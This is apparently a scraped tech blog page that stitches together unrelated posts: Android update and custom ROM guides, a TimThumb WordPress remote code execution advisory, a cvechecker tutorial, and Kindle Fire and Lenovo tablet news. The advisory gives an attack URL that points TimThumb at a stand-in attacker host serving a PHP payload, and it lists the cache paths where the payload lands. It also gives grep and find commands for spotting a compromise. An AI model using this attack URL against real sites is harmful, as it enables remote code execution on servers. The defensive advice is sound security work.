Install Android 4.0 ICS on Xperia P

Update Sony Xperia P with ICS 4.0

There’s good news for Xperia P users. Sony has come up with Android 4.0 ICS update for Xperia P. The roll out has just begun and thus the access as well as availability shall depend on which is the carrier you use and which is the place you are located in. But what you can do is, install ICS on Xperia P via PC or Mac. There’s more resourceful news and that is, even Xperia Sola, Go and U users can expect an ICS update soon.

Now, you will ask what is the benefit of updating Xperia P with Android 4.0 Ice Cream Sandwich? Well the answer is simple. With this you can expect enhancement in features and functions of Xperia P. You will come across an improved lock screen, better mobile data consumption control, addition of Walkman app, extended stand by mode and much more. Initially when you might have bought Xperia P it had Android 2.3 Gingerbread. This is the OS it had come with. Now, with Android 4.0 on Xperia P you will surely face better levels of experience.

Are you impressed with what we said this update will do? If yes, then we are sure you would wish to know the procedure to install ICS on Xperia P. Here are the steps but before that please read the info given below. We recommend you to go through the disclaimer as given below before you start updating Xperia P with ICS.

Disclaimer: The method for updating Xperia P with ICS has been generated after doing proper research. However, the user should update the phone at own risk. Androidust.com shall not be responsible for anything that may happen with the phone.

1. The very first step you must go for is open Sony Mobile.com and after that Xperia P tab.
2. Depending on the browser you use you must check out what updates are available.
3. Now if you have a PC or Mac, connect your phone to that device. With this there would be phone identification and the search for new software would begin.
4. Once the software is traced and located you will get more information on that particular new update or new software.
5. Now, click on Update and with this the process will get started. But just see to it that the connection between the phone and PC or Mac still remains.
6. When the update process gets finished you must disconnect Xperia P from Mac or PC.
7. You may experience localized updating and this may take a few minutes.
8. Now the device will get rebooted.
9. That’s it. You can now use Xperia P with the update.

It is important to note that the above method of updating Xperia P with ICS is with the help of web browser. Even though this method is safe, we expect you to take all the back up first. This will keep the phone as well as data safe.

Do let us know your views on this.

Update Galaxy Gio with CM10 Jelly Bean

Samsung Galaxy Gio GT S5660 gets CM10

There’s super news that Galaxy Gio is getting CM10. Well, it’s not the only ARMv6 processor to get Jelly Bean. It is accompanied by Samsung Galaxy Ace too. Developers at XDA have come up with CM10 ROM for Samsung Galaxy Gio. We heartily congratulate them for this amazing development of Jelly Bean on Galaxy Gio GT S5660.

You will ask why there is so much hype in case of CM10. Well, it is a superb invention. We understand that if you have any of the handsets as in Galaxy S3, HTC Sensation, Motorola Defy or ASUS then already CM10 has come up for that (alpha, beta or perfect one). But there are many handsets which are still under development and there’s few days pending before CM10 are released for them. Thus, if you are the one who has not received hands on review for CM10 then you can read features of CM10 from here:http://www.androidust.com/keep-watch-on-features-of-cm10-by-cyanogenmod/.

Here are the details of the ROM:

What’s working in CM10 ROM for Galaxy Gio

• RIL (full – GSM/SMS/EDGE/3G/SIGNAL etc)
• Audio (all are on louder speaker)
• Sensors (strange issue with proximity)
• Project Butter (100%)
• Full 2D/3D acceleration
• Touchscreen
• SD card
• WiFi
• Bluetooth (really, really buggy)
• Browser
• Mass storage
• Live wallpapers

What isn’t working for CM10 Jelly Bean Galaxy Gio:

• Microphone
• Headphones
• Small speaker (but fixed, will be in next release)
• Camera
• FM Radio
• Deep sleep
• Native Android app2sd (.android_secure)
• A lot of things….

We hope you are quite clear as to what the features are and what things are working in this ROM.If you wish to download this ROM or update Samsung Galaxy Gio with CM10 then you can read the instructions from the link given at the end of the post. Right now, you can go through the disclaimer.

Disclaimer: CM10 download for Galaxy Gio can be a bit risky. However, if you wish to use the same then you can do it at your risk.

Here’s the link from where you can download and install Jelly Bean on Galaxy Gio via CM10:http://forum.xda-developers.com/showthread.php?t=1414173.

We hope you found the given tutorial useful. Kindly share your feedback with us. You can comment here on the comment section. If you have any doubts or queries then too you can share the same with us. We shall take immediate solve your issues.

WordPress TimThumb Plugin – Remote Code Execution

TimThumb is prone to a Remote Code Execution vulnerability, due to the script does not check remotely cached files properly. By crafting aspecial image file with a valid MIME-type, and appending a PHP file at the end of this, it is possible to fool TimThumb into believing that it is a legitimate image, thus caching it locally in the cache directory.

Attack URL: (Note! Some websites uses Base64 Encoding of the src GET-request.)

http://www.target.tld/wp-content/themes/THEME/timthumb.php?src=http://blogger.com.evildomain.tld/pocfile.php

Stored file on the Target: (This can change from host to host.)
1.19: http://www.target.tld/wp-content/themes/THEME/cache/md5($src);
1.32: http://www.target.tld/wp-content/themes/THEME/cache/external_md5($src);
md5($src); means the input value of the ‘src’ GET-request – Hashed in MD5 format.

According to markmaunder.com:

To check if you have been hacked do the following:

Sign into your server using ssh
cd to your wordpress installation directory
run “grep -r base64_decode *”
You should see a few occurences but if any of them have a long encoded string between the parentheses, then you’re probably hacked.

The hacker used base64_decode in the file uploaded to the timthumb.php cache directory as well as where he injected code in my blog.
Also check your /tmp/ directory and if you have any suspicious files there like xwf.txt or any other .txt files, look at them in a text editor.

How to (possibly) fix this:

Go into your theme directory and figure out where timthumb.php is.
You might try “find /your/wordpress/dir/wp-content/themes/YourTheme/ -name “timthumb.php””
Edit timthumb and remove the list of external websites that content is allowed to be loaded from.
I have not audited the rest of the code, so this may or may not make it secure.
The developer really needs to use a regular expression to check the external hostnames images can be loaded from.

Alternatively:

Update to the latest version 1.34 or delete the timthumb file.

NOTE: This file is often renamed and you should therefore issue
a command like this in a terminal: (Thanks to rAWjAW for this info.)
find . | grep php | xargs grep -s timthumb

Check your system for vulnerabilities using CVEChecker

The goal of cvechecker is to report about possible vulnerabilities on your system, by scanning the installed software and matching the results with the CVE database. Indeed, this is not a bullet-proof method and you will most likely have many false positives (vulnerability is fixed with a revision-release, but the tool isn’t able to detect the revision itself), yet it is still better than nothing, especially if you are running a distribution with little security coverage.

Still, the tool remains useful. With the proper reporting in place, you are immediately warned when a new CVE has been released that might match your system. You can then take the appropriate steps (acknowledge report, verify incident, fix package or mark as false positive).

The tool however needs your help as well. The most work is to tell cvechecker how to detect which software is installed and what version. For more information, see the cvechecker man-page.

Install required packages:

Code:

root@coresec:~# apt-get install libconfig8-dev libsqlite3-dev libxslt1-dev

Compilation Process:

root@coresec:~# tar -zxvf cvechecker-3.1.tar.gz
root@coresec:~# cd cvechecker-3.1/
root@coresec:~/cvechecker-3.1# ./configure --enable-sqlite3
root@coresec:~/cvechecker-3.1# make
root@coresec:~/cvechecker-3.1# make install

Initialize SQLite3 Database:

Code:

root@coresec:~/cvechecker-3.1# cvechecker -i

To pull the necessary data from the Internet:

Code:

root@coresec:~/cvechecker-3.1# pullcves pull
 
Downloading nvdcve-2.0-2002.xml... ok
Converting nvdcve-2.0-2002.xml to CSV... ok
Loading in nvdcve-2.0-2002.csv in cvechecker.
I am missing the index cveidx2. This is to be expected if this is the first run of cvechecker since an upgrade.
I will now create cveidx2 for you, no further actions are needed.
Some updates have occurred which might affect the database initialization.
Please restart the command.
Downloading nvdcve-2.0-2003.xml... ok
Converting nvdcve-2.0-2003.xml to CSV... ok
Loading in nvdcve-2.0-2003.csv in cvechecker.
Loading CVE data from /usr/local/var/cvechecker/cache/nvdcve-2.0-2003.csv into database
 100 records processed (0 already in db)...
 200 records processed (0 already in db)...
 300 records processed (0 already in db)...
 .....

Generate List of Files:

Code:

root@coresec:~/cvechecker-3.1# find / -type f -perm -o+x > scanlist.txt
root@coresec:~/cvechecker-3.1# echo "/proc/version" >> scanlist.txt

Gather List of Installed Software/Versions:

Code:

root@coresec:~/cvechecker-3.1# cvechecker -b scanlist.txt
 
Searching for known software titles...
 - Found match for /lib/libpthread-2.12.1.so:   cpe:/a:gnu:glibc:2.12.1:::
 - Found match for /sbin/resize2fs:     cpe:/a:ext2_filesystems_utilities:e2fsprogs:1.41.12:::
 - Found match for /sbin/mkfs.ext4:     cpe:/a:ext2_filesystems_utilities:e2fsprogs:1.41.12:::
 - Found match for /sbin/iptables-save: cpe:/a:netfilter_core_team:iptables:1.4.4:::
 - Found match for /sbin/iptables-save: cpe:/a:netfilter_core_team:iptables:1.4.4:::
   .....

Output Matching CVE Entries:

Code:

root@coresec:~/cvechecker-3.1# cvechecker -r
 
File "/bin/dbus-daemon" (CPE = cpe:/a:freedesktop:dbus:1.4.0:::) on host coresec (key coresec)
  Potential vulnerability found (CVE-2010-4352)
  Full vulnerability match (incl. edition/language)
File "/bin/dbus-uuidgen" (CPE = cpe:/a:freedesktop:dbus:1.4.0:::) on host coresec (key coresec)
  Potential vulnerability found (CVE-2010-4352)
  Full vulnerability match (incl. edition/language)
File "/usr/bin/dbus-launch" (CPE = cpe:/a:freedesktop:dbus:1.4.0:::) on host coresec (key coresec)
  Potential vulnerability found (CVE-2010-4352)
  Full vulnerability match (incl. edition/language)
  ......

Export to CSV format:

Code:

root@coresec:~/cvechecker-3.1# cvechecker -r -C

Documentation: http://cvechecker.sourceforge.net/documentation.html
Download: http://cvechecker.sourceforge.net/download.html

Kindle Fire update to address performance and privacy issues

Amazon's Kindle Fire tablet launched to much fanfare this past November, poised to steal some thunder from  Apple's popular iPad 2 with a tempting $199 price tag. The device went on to become a best-seller among Black Friday and Cyber Monday shoppers at Amazon.com as well as Best Buy and Target stores.

As the excitement over the Kindle Fire begins to wane, Amazon is now moving to address some of the criticism surrounding its tablet with an upcoming software update. Specifically, the company said the update should improve overall performance and multitouch navigation, while also adding a feature that will allow users to delete their browsing history -- something that will by welcomed by those concerned about privacy.

The update will be made available to users over the air in less than two weeks, according to Amazon spokesperson Drew Herdener. It's unclear if other common complaints, such as occasional lockups that require a hard reset as well as insufficient volume for movies and Wi-Fi issues will be addressed as well.

Not all issues can bee fixed by software, though. The Kindle Fire has been criticized for its lack of physical volume buttons and an awkwardly placed power button that makes easy to turn the device off inadvertently.

Amazon sees the Kindle line of devices as critical for its future strategy and thinks about them in terms of its lifetime value. This is why the company is willing to lose money on the sale of each device, making up for the loss with market share, and the sale of accessories, content, advertising and special offers.

Lenovo to ship a 23-inch tablet this year? Update: nope.

Update: It appears that this not true after all. "As you know, it is usually not Lenovo's practice to talk about unannounced products, but in this case I will tell you that we have no plans to introduce a 23-inch tablet," a Lenovo spokesperson told ZDNet. The original story is below.

Lenovo is building a 23-inch tablet, and it's likely to arrive before the end of this year. Speaking at this year's Gadget Show Live, William Cai, senior specialist in marketing for Lenovo, said he believes there is a problem with multiple screens in the home, and a larger tablet could help solve it.

"We think that there is potential for a 23-inch tablet," Cai told TechRadar. "We'd have to take care of battery life and we are working to get the weight down. It's obviously not for full mobility use, but it could be moved from room to room in the house and used with a full keyboard, or as a television. Or you could lay it on a table top and use it for family games. We're hoping that we can launch it later this year."

The idea comes from Lenovo's All-in-One line of PCs, but the interesting part is that this is not just a research project: it appears the company is quite serious on pushing the device. At the very least, the company will be differentiating itself from its competitors; pretty much everyone, including Lenovo, is developing a tablet with a screen size ranging from 5-inch to 10-inch.

Lenovo has already launched a normal-sized tablet in China. The 10.1-inch device, powered by a 1.3GHz Qualcomm Snapdragon processor and 1GB of RAM, is slated to go on sale worldwide in June 2011.

Frankly, we think this 23-inch device will have to be lighter than your typical 15-inch or 17-inch laptop to be useful in the home. That's going to be very difficult to achieve with a 23-inch tablet. We're thinking how heavy a 23-inch monitor is and we don't see how Lenevo could possibly make a lighter computer, but we'll reserve further judgment till the full specifications are out.